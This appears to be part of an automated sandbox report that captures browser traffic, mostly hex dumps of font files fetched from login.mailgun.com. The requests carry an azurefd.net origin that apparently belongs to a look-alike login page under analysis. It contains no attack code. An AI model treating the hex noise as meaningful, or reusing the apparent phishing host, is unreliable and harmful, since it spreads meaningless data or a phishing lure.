6X?O;wLo-zs*wjQwm<
2024-07-03 12:38:45 UTC	8648	IN	Data Raw: bf ca 6f cb aa 48 03 e3 26 52 c7 35 6f a1 f1 97 be 81 fc 42 d1 5c 87 9d e6 6a 14 af 59 2e fe f8 0c 10 95 4a 25 6a 69 6d a5 0a 0b 74 15 0a 74 ed 73 07 c2 8f 3b 67 79 8f 0a 95 b3 71 c4 0e 33 39 7e 9e 41 57 86 12 22 5d 25 ab 6f bd 54 8f 2b ca 79 93 95 a5 6c af 32 45 2d 2d 2d d4 da d2 0a 79 0e c0 c9 88 fc d0 13 4d b1 8a 1a a5 28 8a 8b aa 35 68 24 c8 14 e7 04 51 0e 46 35 63 7e a1 22 97 84 68 48 aa ed fa 07 36 95 10 1f 09 d6 03 9f 2d d2 aa 44 34 71 12 4d bb f1 7a da 7e cb 1d 34 f4 c2 6a 6a ad 94 c9 63 e1 69 c2 9d 3b ed a0 9d 04 64 85 a0 eb 78 71 f4 cd a5 75 f2 b6 69 aa d0 8a ef 91 cf 96 f3 b2 57 a4 03 ad 2d 34 f1 ad 57 d0 a4 2b 2f 66 b5 dc 11 9e 37 e9 db a1 d5 b1 c8 4b 36 62 f9 6f 29 b5 90 37 ce 0b 27 8d 72 c7 a1 5c 09 62 e0 9b b3 8f b4 63 30 d2 0a 94 d3 d9 52 Data Ascii: oH&R5oB\jY.J%jimtts;gyq39~AW"]%oT+yl2E---yM(5h$QF5c~"hH6-D4qMz~4jjci;dxquiW-4W+/f7K6bo)7'r\bc0R
2024-07-03 12:38:45 UTC	7240	IN	Data Raw: d1 42 13 69 27 b0 88 da f6 93 8c dd 5f 3e 4f 9a 38 91 e6 cc 9e 6b 46 5f a4 7d 94 0e 99 36 f3 07 62 e0 e2 32 5a 49 8b e9 f0 3f 53 57 9c 2e 76 f4 60 d4 c1 8f 98 32 ea 43 3d 3d 90 d6 1c 00 8c 12 8a 23 b2 78 db ef f3 7e 08 e9 ef f2 84 78 de b1 59 9f 6b 5c 4e 8e 80 d4 f1 e9 86 41 a5 9f 10 69 17 17 45 29 c1 ae 8d 8f b9 6d 6f 28 d2 f1 3a 71 d8 51 e7 1b 34 35 ed 6c 41 bf f8 a2 8b e8 3f bf f9 2d 23 6a c4 b5 64 f6 ac 39 3c 9c 5f 34 51 5e ce 38 e3 0c 63 65 3f f7 dc 73 e9 81 07 1e a0 6d 2c d2 24 3e b7 08 1c 11 b6 e2 17 2e d6 56 13 3b 3b 44 44 ab 08 73 89 8e 22 6e 32 62 9d 96 49 9b 05 af 68 dc 19 64 92 a5 b8 0b 18 ab 6b 18 77 db 56 33 11 a2 1d 22 96 bc 40 74 89 3f b9 58 3f ad 38 37 13 f3 f8 6d 57 67 a7 11 e8 62 35 55 aa 6c c2 28 9a 7d 39 df d2 01 28 3a ee 07 46 64 89 Data Ascii: Bi'_>O8kF_}6b2ZI?SW.v`2C==#x~xYk\NAiE)mo(:qQ45lA?-#jd9<_4Q^8ce?sm,$>.V;;DDs"n2bIhdkwV3"@t?X?87mWgb5Ul(}9(:Fd
2024-07-03 12:38:45 UTC	4096	IN	Data Raw: e1 58 b9 dc 8c 54 5c 0e 97 be 9f b1 7f b9 3c 44 a5 62 c9 7c 27 73 8d 06 2a 65 6a e5 cf c7 aa a8 4c bd 93 7b cd f7 5c 1b f7 49 be 0f 0d 46 af d2 7e 50 47 3d 2f b0 1f 49 35 1d 49 88 6b d9 ad 22 c7 cb 0f 22 6c 73 47 5a 87 e1 89 78 ec 50 e4 58 cd 53 3e e4 35 03 ca 76 92 68 2a 0d 9d f9 49 c5 49 61 f4 12 8c 42 8a f5 dd 3b f2 3e 1c 3b 46 7a 8e e3 bf bf 7d dc e5 44 2c 0f 85 be 9d b4 1a 3b 07 c5 64 36 30 68 3f 46 15 22 98 07 07 07 59 08 16 12 2b e2 05 11 87 88 86 2a 55 33 c7 42 be 69 69 29 51 f0 98 52 94 e5 8b e9 5a fd 06 87 86 e8 c5 17 5e a4 59 b3 66 d2 cc 19 33 a8 a7 b7 97 36 6e dc 44 dd dd e3 68 de dc b9 36 6e 50 76 d0 82 8c 8a e7 ce 49 96 4e 82 b8 5a 15 bd a0 a3 90 e9 fa 49 c1 dc 11 11 70 3e 8b 5c 09 93 2a 22 eb 48 f0 4c 87 42 1b 81 3c c4 d7 e5 79 2d c7 4c 9c Data Ascii: XT\<Db\|'sejL{\IF~PG=/I5Ik""lsGZxPXS>5vhIIaB;>;Fz}D,;d60h?F"Y+U3Bii)QRZ^Yf36nDh6nPvINZIp>\"HLB<y-L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49736	34.160.63.108	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:45 UTC	651	OUT	GET /login/static/red-hat-display-v11-latin-700.woff HTTP/1.1 Host: login.mailgun.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://login.mailgun.com/login/static/style.css?v=1.0.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:45 UTC	432	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Disposition: inline; filename=red-hat-display-v11-latin-700.woff Content-Length: 26748 Content-Type: font/woff Date: Wed, 03 Jul 2024 12:38:45 GMT Etag: "1718130172.0-26748-2462263217" Last-Modified: Tue, 11 Jun 2024 18:22:52 GMT Server: TwistedWeb/22.10.0 Strict-Transport-Security: max-age=63072000; includeSubDomains X-Xss-Protection: 1; mode=block Connection: close
2024-07-03 12:38:45 UTC	747	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 68 7c 00 10 00 00 00 00 be 3c 00 01 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 46 54 4d 00 00 68 60 00 00 00 1c 00 00 00 1c 94 a8 2e c9 47 44 45 46 00 00 44 98 00 00 00 57 00 00 00 72 08 43 09 78 47 50 4f 53 00 00 47 1c 00 00 21 43 00 00 41 54 fe d1 83 ff 47 53 55 42 00 00 44 f0 00 00 02 2b 00 00 03 e2 1f 13 3a 27 4f 53 2f 32 00 00 01 e8 00 00 00 5c 00 00 00 60 68 27 3d a8 63 6d 61 70 00 00 05 a0 00 00 02 4d 00 00 03 4e 95 7a 00 f6 67 61 73 70 00 00 44 90 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 0b 30 00 00 30 53 00 00 55 04 69 fe d3 c6 68 65 61 64 00 00 01 6c 00 00 00 36 00 00 00 36 1d b3 87 58 68 68 65 61 00 00 01 a4 00 00 00 21 00 00 00 24 08 1b 04 ad 68 6d 74 78 00 00 02 44 00 00 03 Data Ascii: wOFFh\|<FFTMh`.GDEFDWrCxGPOSG!CATGSUBD+:'OS/2\`h'=cmapMNzgaspDglyf00SUiheadl66Xhhea!$hmtxD
2024-07-03 12:38:45 UTC	2358	IN	Data Raw: 7c bf 1c 42 81 8e 75 3e 46 bc 5f 7c 57 a9 fb 10 fb 24 06 d1 36 0e 01 79 eb 8d 4a 17 ca e4 09 b2 78 86 32 69 22 8e a2 cc a6 f0 79 10 65 c6 c7 e7 63 98 27 77 c8 0d 7c 5f 47 fe 44 5e ca ef 57 c2 dc c6 77 07 61 a5 15 f3 e5 39 0a 75 4f 7b 1d 29 d2 cd 98 bd de 88 d4 22 c1 b4 a0 58 a2 91 46 ce 96 f5 58 65 3e 7b 1e cf 71 42 72 79 f6 83 28 92 78 c7 a9 52 81 54 d3 c1 7d ea 39 0e a2 08 c3 3c fb b0 37 20 c5 6e 5c 64 5b 38 97 ef 79 df b1 75 5c 63 ce a0 c8 7c c4 1c 73 99 eb 82 58 26 e5 80 8d c2 1c c9 f5 7e cb 5a 6a fd 0d 7e d3 0e 1f 35 af 25 e7 48 15 d2 c6 b5 77 71 9b bd ef 72 8d 7a dd 87 98 20 6a 65 1d cf 18 42 83 4d 40 96 b9 45 5f da 10 c7 35 25 e6 19 02 e6 03 d7 84 d0 6a 4e 33 0e b5 34 cb 11 6d 36 22 96 e3 37 52 43 1d ba e1 77 fe 84 70 03 7d 8c 39 88 34 ae f7 cb 59 Data Ascii: \|Bu>F_\|W$6yJx2i"yec'w\|_GD^Wwa9uO{)"XFXe>{qBry(xRT}9<7 n\d[8yu\c\|sX&~Zj~5%Hwqrz jeBM@E_5%jN34m6"7RCwp}94Y
2024-07-03 12:38:45 UTC	559	IN	Data Raw: fb e2 c7 6a a7 e3 e4 73 ed 74 ed f1 da 91 63 e6 e3 cf ad d9 bd e6 39 f8 a3 6f c8 ba 1b 9a 87 91 16 65 9e 61 9b 60 32 56 c6 c7 c4 18 a6 30 ea 47 8e b8 42 19 75 f8 51 34 d2 88 e2 d1 b0 5c 8f 94 62 80 ca 95 7a 24 97 95 23 b1 5c 14 2d 87 4f 00 96 36 02 92 1f 05 10 42 dd 57 d7 74 0d ac 8f ad 19 a9 db 92 6a 6b b8 3c 9c 08 2c 71 45 37 8f 37 ec e8 6f ab 69 90 ba ad 83 b1 16 89 df 5d de ba a4 28 ee 5f dd 53 f9 a5 b2 aa 91 fe e4 68 88 1d 5e 52 e4 34 6d d6 9a c5 5f 2c 91 0d a7 eb c7 22 05 23 e8 cc 5d ac d3 5c 6d a8 2a e2 7e 57 e0 b1 28 b5 55 45 22 42 23 45 e6 13 91 88 7d ae d2 8e b6 03 8d ec 68 db 95 40 29 b4 07 61 ea e3 b9 a8 32 6f b3 9f 63 5f 64 dc 4c 9c 69 87 b9 98 f9 39 d0 b7 70 08 8f bf a8 02 c1 c0 01 a8 84 99 f0 33 2b 47 a2 38 9e 89 dd 62 2e 92 cb 14 d2 50 2c Data Ascii: jstc9oea`2V0GBuQ4\bz$#\-O6BWtjk<,qE77oi](_Sh^R4m_,"#]\m*~W(UE"B#E}h@)a2oc_dLi9p3+G8b.P,
2024-07-03 12:38:45 UTC	4528	IN	Data Raw: af 31 3b 88 0c 49 c3 22 51 fb cd 5b 8e 21 31 f7 11 fe cd c5 bc 89 be 84 96 e2 df e2 51 93 dc 85 2e 7f 73 f7 6e 80 7b 41 b6 5e 61 4e e0 b6 95 39 52 75 25 96 28 78 95 ce 09 13 ca bc 98 09 a2 33 30 17 68 43 8c c2 a8 0e 1d bb 96 db fc 13 d1 8d 9f 12 9e 67 19 4b e6 1c 7b 3d f0 49 05 96 29 81 4b 28 7b 94 23 47 88 32 b5 c5 4c 99 1c 2d 59 7e 43 5f df 0d cb 57 e0 eb 8a 58 bf c7 d3 1f 8b e2 6b d9 f2 fb b6 6c bd 77 f9 f2 7b b7 6e b9 6f f9 65 89 6d e9 9e 4b 12 89 4b 7a d2 db 12 78 1e 72 b8 38 60 0c 45 20 b5 12 71 34 1e 96 9c 9c f9 f6 52 b6 a6 ee f2 de d9 76 58 03 3d 0c 44 c5 be 58 59 84 1e fe 08 af 89 11 c6 54 47 be 7f a5 14 8f 51 03 97 eb e0 fe 52 bc ba a6 a8 29 8a c2 12 4c 4c 78 43 0f 72 97 a2 3d 27 97 2c e1 ae 7f e7 fe 6d e8 2b dc f2 5d f7 23 25 5a 48 d6 d6 0c ed Data Ascii: 1;I"Q[!1Q.sn{A^aN9Ru%(x30hCgK{=I)K({#G2L-Y~C_WXklw{noemKKzxr8`E q4RvX=DXYTGQR)LLxCr=',m+]#%ZH
2024-07-03 12:38:45 UTC	5895	IN	Data Raw: 94 ae af 58 69 71 58 e4 71 90 93 10 f0 e5 fb b5 e3 f1 f8 78 6d 62 45 3c be 22 e1 ef 74 b9 3a fd be 2e a7 b3 4b b3 58 6f 96 54 7a 23 16 b5 4e a7 d5 2c 44 a1 f8 44 22 01 a8 13 75 89 89 b8 cf 95 0e 04 ba dd ee 6e 7c ed 38 65 d4 48 b4 c5 bd ad ad c7 c2 ea 05 0b f1 5c 6e 64 a7 d0 0f 81 ae 38 87 06 9b d9 8d a8 99 9d 5a b2 84 d2 3c 84 4e a2 d5 24 17 a4 b9 d0 98 63 d9 ac e0 f7 dd 9d 0e 47 a7 db db ee 04 97 8f da e1 7e 74 d2 85 bf d2 ff ae 94 df 60 f4 7a 8d 06 3f 6e 77 38 93 61 0b d9 4d d4 3f 50 42 af b6 9c 8c d8 30 7a 82 7b ff 81 07 36 3d f0 00 da b0 e1 a5 93 1b ee be 7b c3 49 18 67 31 f8 ee 46 f6 59 f0 e9 60 9c d9 8c 24 51 d0 7c ea 32 2c d7 dc 24 a9 32 54 ab dc ea 80 b1 db 5e df 63 30 77 5e 8f 26 92 7b 2b 35 e5 32 95 4c 59 ab 05 61 6e 08 e9 23 ba c6 4e aa 9b 2a Data Ascii: XiqXqxmbE<"t:.KXoTz#N,DD"un\|8eH\nd8Z<N$cG~t`z?nw8aM?PB0z{6={Ig1FY`$Q\|2,$2T^c0w^&{+52LYan#N*
2024-07-03 12:38:45 UTC	2297	IN	Data Raw: e7 fa f8 b3 99 ae f1 a9 8d a3 1b 77 ec 80 cb 54 36 8e 70 19 fb 1e ec e3 dd 64 ff ee 45 8f 65 e1 db 72 e0 03 18 0e fd a5 32 77 a1 9f ce 3d 5f 2d 95 7d be 1a b6 09 18 72 e6 16 6c 97 5e 66 ee ac 75 e5 05 ce 5a 87 3f 3b ef 7c b1 b3 d6 e6 d9 0f cf 3b 6a cd e7 d7 5b b1 3d 88 6e a6 f6 66 45 2e fc 9c 00 47 dd 79 f0 b3 59 78 57 1e fc 9d 6c 3b 93 15 17 6e bf 0d e5 c2 5f cc c2 a7 2a 18 46 c8 07 8f c0 bc ad 7c 15 68 ae e7 3c 47 81 3c 77 80 af 57 e3 c9 c1 22 9c 9d 8a 93 33 aa fc e9 f3 39 4f 81 bb 89 1e 56 a5 d4 a1 4e f5 dc 99 55 73 6e d2 0a 9d 01 1a f1 e4 12 c6 8b e3 11 fc bc 7b f2 e6 f7 56 16 de 57 41 f5 8a 2c e3 66 17 b3 7e f0 40 3b 71 44 95 9f 49 56 b9 cc 45 a2 15 06 52 d0 2a 9e 2b d2 01 bd 22 c4 08 45 f3 42 d2 52 ac 7a 2c 0e e1 7c 13 52 ee bf 2e ea 33 5b 0d de 68 Data Ascii: wT6pdEer2w=_-}rl^fuZ?;\|;j[=nfE.GyYxWl;n_F\|h<G<wW"39OVNUsn{VWA,f~@;qDIVER+"EBRz,\|R.3[h
2024-07-03 12:38:45 UTC	8192	IN	Data Raw: 18 82 83 0c 3c b8 18 46 16 5f 60 04 63 18 c5 c1 38 14 87 e0 0e 5c 84 25 38 0c 87 e3 08 7c 85 6f 70 17 4b 59 c6 30 23 2c 67 05 fe c2 df ac e4 44 56 71 2d fc 43 70 12 d7 e6 3a 24 d7 e5 7a 5c 9f 1b 70 43 6e c4 8d b9 09 37 e5 66 dc 9c 5b e0 57 fc c6 c9 9c c2 a9 dc 92 5b 71 6b 4e e3 74 6e c3 6d b9 1d b7 e7 0e ac e6 8e ac c1 ef 78 8d b5 ac e3 0c ce e4 2c ce 66 3d a3 6c e0 4e dc 99 bb 70 57 ee c6 dd f1 21 3e e2 1e 6c 64 13 9b d9 c2 18 5b d9 c6 39 6c e7 5c ce 63 07 f7 c4 8d 58 cd 4e 76 71 2f ce 67 37 7b d8 cb 38 f7 66 1f fe c0 9f f8 18 9f 70 1f 2e e0 42 ee cb fd b8 3f 0f e0 81 3c 88 2a fb a9 31 41 9d 8b 98 64 8a 06 07 38 48 93 69 dc 4d 8b 36 87 b8 18 9f e2 33 3a cc d0 a5 c7 61 66 39 82 d7 f1 01 de c2 db 78 07 ef e3 0d bc c7 51 8e f1 60 1e c2 43 79 18 97 f0 70 1e Data Ascii: <F_`c8\%8\|opKY0#,gDVq-Cp:$z\pCn7f[W[qkNtnmx,f=lNpW!>ld[9l\cXNvq/g7{8fp.B?<*1Ad8HiM63:af9xQ`Cyp
2024-07-03 12:38:45 UTC	2172	IN	Data Raw: 39 23 a5 35 6c 24 ab 34 7f ec f7 fe 0a 1f 63 3f e9 5f 73 d5 7e d2 fa 2b 34 0d e4 4a b1 ab ce 0c 87 6c c6 cb dd 5b ba 35 47 87 c8 0c b5 f7 68 dd 42 16 16 f9 c4 ad b0 68 da dd 5b 2b 7e 21 d9 bc 69 9a cc 56 7c 9f 8c ab 7b d4 ce 27 85 dc 33 aa 4f 40 4e 46 d9 19 42 87 63 64 7a a5 ca c6 18 fb 1c 9c 61 0a 4c 99 29 90 99 f2 99 2d f6 b7 08 e4 c3 19 f6 ba b4 3e a9 e2 3f cc 09 ed fb ff 0c e9 bf 18 2f de ff 27 fb 6b ea bf 09 36 7e 4d 9b f8 4f 72 df 73 c7 6e 65 46 b1 c1 06 b3 d3 d8 fc 23 5a fe b7 1e f7 39 25 e2 ff e6 d1 64 8e 29 b1 bf ec 93 cb a4 7e f5 0e c5 5b 76 ec 7c 82 9d 59 f9 a4 4a 9d ae b8 55 1a de 6f 3f ad 64 f9 f6 e3 12 86 b5 12 f9 94 79 51 ae ac 20 c2 29 f3 00 2b 7f bf 30 ca be af 55 c6 63 8a 61 9d b3 4e a6 2e b6 62 ce 7d 65 ec 19 31 ad f0 c8 8c 3c 8d 6f f4 Data Ascii: 9#5l$4c?_s~+4Jl[5GhBh[+~!iV\|{'3O@NFBcdzaL)->?/'k6~MOrsneF#Z9%d)~[v\|YJUo?dyQ )+0UcaN.b}e1<o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49735	34.160.63.108	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:45 UTC	642	OUT	GET /login/static/roboto-v27-latin-700.woff HTTP/1.1 Host: login.mailgun.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://login.mailgun.com/login/static/style.css?v=1.0.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:45 UTC	422	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Disposition: inline; filename=roboto-v27-latin-700.woff Content-Length: 20396 Content-Type: font/woff Date: Wed, 03 Jul 2024 12:38:45 GMT Etag: "1718130172.0-20396-918168709" Last-Modified: Tue, 11 Jun 2024 18:22:52 GMT Server: TwistedWeb/22.10.0 Strict-Transport-Security: max-age=63072000; includeSubDomains X-Xss-Protection: 1; mode=block Connection: close
2024-07-03 12:38:45 UTC	757	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 4f ac 00 12 00 00 00 00 8c d4 00 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 44 45 46 00 00 01 94 00 00 00 47 00 00 00 64 05 91 05 c0 47 50 4f 53 00 00 01 dc 00 00 06 05 00 00 0d 1e e1 96 ea 6f 47 53 55 42 00 00 07 e4 00 00 01 89 00 00 02 de fc d1 f3 da 4f 53 2f 32 00 00 09 70 00 00 00 51 00 00 00 60 75 c6 01 a9 63 6d 61 70 00 00 09 c4 00 00 01 18 00 00 01 a0 08 e8 2e 23 63 76 74 20 00 00 0a dc 00 00 00 48 00 00 00 48 2b 7e 04 b5 66 70 67 6d 00 00 0b 24 00 00 01 33 00 00 01 bc 5f f2 1a ab 67 61 73 70 00 00 0c 58 00 00 00 0c 00 00 00 0c 00 08 00 13 67 6c 79 66 00 00 0c 64 00 00 3c 20 00 00 6c c0 f6 43 5e 5d 68 64 6d 78 00 00 48 84 00 00 00 6d 00 00 01 10 30 33 23 37 68 65 61 64 00 00 48 f4 00 00 00 Data Ascii: wOFFOGDEFGdGPOSoGSUBOS/2pQ`ucmap.#cvt HH+~fpgm$3_gaspXglyfd< lC^]hdmxHm03#7headH
2024-07-03 12:38:45 UTC	2358	IN	Data Raw: cc 67 01 cb 58 ce 0a 56 b2 8a f5 64 c8 92 23 4f 1f fd 0c 30 c8 10 c3 ec 62 37 7b d8 cb 3e 02 6e b0 69 44 ea 9a 56 df f3 d4 b9 8e f5 22 20 65 a5 5c 41 bc d0 4f 52 9c 6b 77 70 99 5d c1 0d a4 b9 d7 36 70 bf f5 d0 22 5a 45 bb 18 25 c6 88 b1 96 65 82 75 33 d1 f2 4c 11 df 56 ee e7 ba ff 57 e2 37 62 9a ea 4c 17 33 c4 4c 31 4b cc 16 1b 54 73 a3 d8 24 36 8b 2d 62 ab e8 d4 fd 19 91 15 39 91 17 fd 62 40 0c 8a 21 31 2c b6 a9 e7 76 b1 43 ec 14 bb d4 7b b7 08 98 64 6f 78 9c 47 28 07 ab f9 7c 61 25 45 3a f5 46 6e b2 4e 6e b6 5e 6e b5 f5 ac 17 91 b2 0b 94 ed 53 66 11 eb 45 29 91 dc 19 6b af e9 fe c5 3c 67 cf f2 29 7b 9e cf db dd 7c c5 fe c5 d7 ed f7 44 54 91 e6 4e 12 da b5 85 87 48 79 a6 46 99 4a 65 7a 94 a9 f6 ee 19 8a e5 5f 3f 37 8a d5 62 8d 58 2b d6 89 7a 5d 8b 53 21 Data Ascii: gXVd#O0b7{>niDV" e\AORkwp]6p"ZE%eu3LVW7bL3L1KTs$6-b9b@!1,vC{doxG(\|a%E:FnNn^nSfE)k<g){\|DTNHyFJez_?7bX+z]S!
2024-07-03 12:38:45 UTC	559	IN	Data Raw: 87 3d d7 3d 56 ce dc 8a 0d a2 cd 1b 09 e8 20 97 65 7d ca 5a 46 41 71 62 10 97 b5 64 77 ae d2 2c 11 2b a6 a3 4d 42 f6 07 53 2c 88 b5 00 00 01 00 02 00 08 00 02 ff ff 00 0f 78 da ac 7c 07 5c 14 c7 f7 f8 bc d9 dd 3b 3a 77 dc 71 87 a0 c0 51 8d a8 28 55 c0 5e 01 7b 17 01 7b 45 2c 20 f6 96 c4 1e 7b ec bd c7 8e 77 ab d1 34 5b 62 f7 6b 42 94 c4 54 6b 4c b1 6b 12 1b dc f0 9f 99 3b e0 f6 f0 ef ef fb 2f 1f bc dd 9b dd bd 9d f7 de bc fe de 88 24 34 08 21 a1 a6 64 46 02 52 21 57 e4 81 bc 51 27 64 46 ad 7a 99 71 74 80 05 fb 35 ce e0 03 44 07 c8 a3 71 86 2c 62 a4 f5 49 92 25 db 49 6d 3b b9 f0 93 d9 ed 17 d9 c3 76 c1 d3 76 01 6b cc 5e bf d4 ab 6f 32 69 4d 82 16 40 0b 82 09 e2 c1 24 d4 b4 36 c4 a7 13 c8 23 f2 19 78 fc 86 05 42 00 5b ad 92 f9 f5 0e 49 6d 9d 86 27 94 68 f1 Data Ascii: ==V e}ZFAqbdw,+MBS,x\|\;:wqQ(U^{{E, {w4[bkBTkLk;/$4!dFR!WQ'dFzqt5Dq,bI%Im;vvk^o2iM@$6#xB[Im'h
2024-07-03 12:38:45 UTC	4518	IN	Data Raw: 66 9e 8a f9 12 d6 91 21 b0 6e 3f 54 2f 84 2d a4 1f fb 14 92 df f6 93 21 b8 35 54 47 08 50 56 d9 3b 62 a2 6a 35 aa 83 f2 e5 a8 ba d1 14 0b 54 b9 80 e5 48 9b e8 c0 c4 f0 c4 26 37 ce 61 1a b3 67 91 ac 75 33 d9 06 16 3d 54 22 85 35 16 7f 87 a1 49 63 0e 2b 92 6b f2 df d1 81 25 aa f2 1e c5 2d ae ae 18 1f 97 90 18 1f eb 6b 30 f8 9a e2 22 42 43 54 be fa 40 91 b2 86 da 37 34 3e 22 22 de a4 37 c4 c6 24 08 86 cc 9f 36 e5 35 f9 e1 d0 16 cb 79 72 63 60 d7 2e bd 7b 3d 5e 97 d3 a0 f8 b3 cd 97 6f 81 29 2f a7 d7 10 98 d1 a5 7f 97 ce c3 17 0f d8 f3 83 cf f7 3f 56 fb f7 ab 89 13 b2 bb b4 cb ea d7 7d c4 fc cc bd c5 ba 73 67 0d 2f 2e 4f 98 91 8d 90 84 fa 96 3d 90 96 4a 67 90 27 f2 47 35 51 1c 6a 80 e6 ca 89 49 c9 0c be 44 be 56 fa 22 f6 c5 54 64 8e a6 dc 10 1f 6d 4e 8c ae ca Data Ascii: f!n?T/-!5TGPV;bj5TH&7agu3=T"5Ic+k%-k0"BCT@74>""7$65yrc`.{=^o)/?V}sg/.O=Jg'G5QjIDV"TdmN
2024-07-03 12:38:45 UTC	5895	IN	Data Raw: 9b d4 74 a0 b6 c1 22 72 43 6b 3b 09 48 c5 4e ae 2a 54 4e 9e 8a 7f 78 01 cb 37 90 5e 70 88 6c 27 7f d2 bf ed 70 88 8e 32 84 cf e0 b9 b5 ae 35 04 08 c1 f8 3a be c2 a0 c2 08 89 8f 29 54 2e a8 be 02 2a 87 b9 9d a1 62 80 54 cc 49 39 81 4e 38 11 a2 21 95 84 90 6f 48 08 a4 09 c1 78 69 69 3f eb 13 ac 11 b6 20 40 69 74 86 4d dc ea b5 46 ce 2f 7d b3 75 97 45 84 6d 69 07 8b e4 70 d5 55 52 b3 69 b9 e9 8f 67 39 10 5f 38 89 af 97 ec c3 45 d6 fa 62 cb a7 4f cd a2 e7 df fb 79 0e 84 1c c0 35 55 9b 90 1a 85 21 0a 35 9d d0 d9 59 16 9c 54 53 2c 73 26 70 cd c5 8b 49 27 30 4b 27 5e 5d be a1 7e ca de 84 ca 66 0a 73 cb eb 2e 38 da 51 66 e8 0f b5 8c 23 23 71 3f f2 83 64 7e 75 95 3d ef 49 0e c0 31 3e 73 24 7f 1e a2 cd 58 81 84 19 9c 3c 75 1d 93 d9 58 6d 28 15 33 d2 69 c9 12 d5 a6 Data Ascii: t"rCk;HNTNx7^pl'p25:)T.bTI9N8!oHxii? @itMF/}uEmipURig9_8EbOy5U!5YTS,s&pI'0K'^]~fs.8Qf##q?d~u=I1>s$X<uXm(3i
2024-07-03 12:38:45 UTC	2297	IN	Data Raw: fd 5a e7 4d 35 13 06 4c ea d8 ad 55 97 55 a3 32 5a 6e 96 c4 f6 bf 3c 3a b7 2f b7 b0 7d 78 c7 0e 73 56 58 ce 04 fb dd 8d 4b 6b 52 b7 67 f3 89 ab fa 7d dc b1 75 d7 ef 10 12 58 c5 53 b5 48 ec 44 31 8a 43 0d d1 75 19 37 6a cc 63 52 ee d5 d3 63 83 22 87 f6 32 45 55 49 d9 3e e0 9c 21 c3 01 dc e2 78 f0 13 cd 08 cb 4b 3c 58 af 99 b2 7d 46 e7 c1 1b d2 aa d9 9e 4d b2 3d 9b 44 9f 4d a2 9e 55 50 52 74 12 ce 93 fb 26 41 9e 25 48 d9 82 13 0a 0e 61 08 0a e2 44 54 e4 2e 58 29 b3 ae 22 a3 65 8e 2f 62 7d 39 91 2a e7 8e b5 f0 38 c6 eb 09 46 ba 7f da d6 aa c3 d3 d1 95 31 9f 01 58 db 0e 7d 58 bc fe 62 41 d3 cb d3 3e fb fe e5 df bb 3b b7 ef d2 97 b2 8b 54 74 b5 60 fa f9 e2 67 d6 41 ee 0b c6 b5 9f d9 b3 7d da b5 d2 4f eb 17 44 ee e8 3b ba b3 a0 eb 3d d2 13 a6 f7 d4 2f 6f d5 41 Data Ascii: ZM5LUU2Zn<:/}xsVXKkRg}uXSHD1Cu7jcRc"2EUI>!xK<X}FM=DMUPRt&A%HaDT.X)"e/b}9*8F1X}XbA>;Tt`gA}OD;=/oA
2024-07-03 12:38:45 UTC	4012	IN	Data Raw: 27 d4 b3 21 34 85 c7 34 67 b3 e6 e6 b3 6a 63 7f 8f 21 a9 fd ef a7 48 90 1b fd 7a a1 09 16 9a 04 9c 97 54 2c a4 5e 2f 34 c2 42 a3 7f 9d 56 11 61 df 98 8c 1e f7 53 5e 15 d6 98 06 81 72 2d 52 aa 4f a3 f8 8d 7f fc 32 30 d8 78 9c d4 0d 4f 34 1d 3b 43 4c aa fe b1 be 57 09 a3 89 f5 e5 65 58 13 4c e3 47 93 cc ac b1 6b 04 fb 35 a7 95 e1 fb 6f 0f 13 59 1e ed 23 13 28 89 c3 8d 05 f7 bf 1e 19 dc 31 11 b4 8b e3 29 f6 02 c7 24 55 8c 49 65 c3 9a 87 45 c1 a1 b0 8d 8b 6d 4c d8 0f 6f 94 b2 e1 fa c7 83 7b d0 3a d2 f7 fa 0d 47 bf 47 c4 fa f1 2d 28 91 b5 a2 c0 c8 6b 6f a9 ef 04 cd 03 09 e2 21 19 ea 43 63 c1 5d 92 82 d4 b1 e6 77 36 72 e8 9a 49 79 49 1c 0c 96 0e 2d 39 89 15 9a 0c b3 a8 78 7c 9a 16 66 c4 d2 85 a5 e1 a1 56 38 1e b4 7a 61 44 43 47 19 0d 5a 0c d5 21 b5 81 a4 a0 fd Data Ascii: '!44gjc!HzT,^/4BVaS^r-RO20xO4;CLWeXLGk5oY#(1)$UIeEmLo{:GG-(ko!Cc]w6rIyI-9x\|fV8zaDCGZ!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49733	34.160.63.108	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
